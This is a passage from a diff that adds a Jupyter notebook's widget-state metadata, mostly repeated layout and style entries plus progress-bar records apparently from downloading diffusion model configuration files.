+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7a9ce1cc3d71457797b0b1ca2831d514": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7ad5acf646b44af2a1d8558abbb59199": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7cc78829c6b744c380f52af44b49802a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_03856828685f4f9791a0c00f9b4f5ed5",
+            "value": " 982/982 [00:00&lt;00:00, 17.1kB/s]"
+          }
+        },
+        "7c5bcff9ea9344dca52dbaa4a6545b50": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7cc78829c6b744c380f52af44b49802a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7cdde9f1b0f1403ababc0e3e120617c4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_238d055bf5ff4891b2e9c6aa28a89fad",
+            "max": 485,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_66a8f48777064cab94ebdfb44044fec7",
+            "value": 485
+          }
+        },
+        "7d3baaa3ab784895a59534261f43ce7d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "80aad8d6ac1b4b7780cd63deed9ceb11": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0fcb664708324ec1bc56c4daa4a2dd15",
+              "IPY_MODEL_37e24969e35c4099933ab57fac8b2599",
+              "IPY_MODEL_efb86ed04a0d477794e70dc92219399b"
+            ],
+            "layout": "IPY_MODEL_3672f34ff79b417abb390592a3b9ed2b"
+          }
+        },
+        "818b00fb8ff04eadb9ccd1bdfe192807": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_aea53b42c35947c58d2c113bd2043078",
+            "placeholder": "​",
+            "style": "IPY_MODEL_02ce6e12de0f4ff1ab8029cf16e5fb99",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "824b0b410fed4ea1b5bc7f88236fc3e8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c5f787d7f16542baa5a5657c3ecb14a0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_be0a3bc217b04b2dbd06a90141c0dd35",
+            "value": " 75/75 [00:20&lt;00:00,  3.66it/s]"
+          }
+        },
+        "8384173365364cd5996018a775b167e2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "895dd88b169e4688a51873bb1b3d2cd9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8b24a6ee676942ddaa27f44902ef2ac5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c081010577e7490eae450d69b0458a74",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d011d28093544ae692f90a7380908275",
+            "value": "Downloading (…)440/unet/config.json: 100%"
+          }
+        },
+        "8d91958b962649479d9d85927ea0e3e0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2f1c260b17204c08870bac68408944c4",
+              "IPY_MODEL_9f17b8692b824c0cb9a98cea381699a9",
+              "IPY_MODEL_9a8c5af4272b4da0ba4aafa4da89817b"
+            ],
+            "layout": "IPY_MODEL_e04b95f508b7431c9f4ee9159e3b5b13"
+          }
+        },
+        "8dd862f24b164fc68664c30b3d241e62": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8f487d06f9834f1b8dd0a63ffec62436": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "90c7965cfde540158d9e7cb049c2d7d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "91f32130b9fc47ceaae99521c0b70015": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9a8c5af4272b4da0ba4aafa4da89817b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_417a14ed83ba4535bf47a39b9298aa4f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c797a3a49d1d44598e8810817eac04f6",
+            "value": " 525k/525k [00:00&lt;00:00, 2.19MB/s]"
+          }
+        },
+        "9af01c4399c74223b5d7f94bd48d6952": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9b2140d07da744348068f013152b1160": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9ba492d205294bc0a8d07985ed271358": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9c01417376444eed820394ef843c0be3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9c2ff534109548fc8cab92f3b0aefc71": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e417a487b9ab44d68bf5d4155f4ff339",
+              "IPY_MODEL_ce0bc6a269b841e59b3c1b00796b8605",
+              "IPY_MODEL_b014fb9554fb4f61a8d44135a6ad4954"
+            ],
+            "layout": "IPY_MODEL_c30445a77e81411bbad4f90b8c54bc35"
+          }
+        },
+        "9c741e36450b4c66875df9dc3ba07507": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_cd9c9d32567f4e5aa9291f66b08490bf",
+              "IPY_MODEL_c4995db7a62844b4a00daaf55847cabd",
+              "IPY_MODEL_72fc113c125648538df5059fb578ae19"
+            ],
+            "layout": "IPY_MODEL_3943882166bb4470a800d9563f9e53a2"
+          }
+        },
+        "9e0fde0538f84469bd62e9ea9f589b4f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9e5ef9fe15314ce3bf13e61994851485": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9ecd3535823549bbbcbf3f131704d3eb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9af01c4399c74223b5d7f94bd48d6952",
+            "placeholder": "​",
+            "style": "IPY_MODEL_aa44d82861804483b44e0f893b698b72",
+            "value": " 634/634 [00:00&lt;00:00, 4.30kB/s]"
+          }
+        },
+        "9ee85e252d32428ea44a91c71cd62a36": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9f17b8692b824c0cb9a98cea381699a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cdcf280e7a3043c2a1d59e0eea379d96",
+            "max": 524619,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2e945d3f81204a538874a0a832102d15",
+            "value": 524619
+          }
+        },
+        "a1d133bc8fe344e2aed80fe5155177c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a25cd36e4deb410f9ee54a92a18c939c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a266a0d0bdde4a3aa09fec6a0a00abed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bc60bbefdc2a490588dd8f58327fd264",
+            "max": 460,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3119598ffcab4d6f9d1642ee595736ee",
+            "value": 460
+          }
+        },
+        "a4d93e9fee48468281afac25f551806c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a5971d5b793545a3845fbe1029b557e1": {
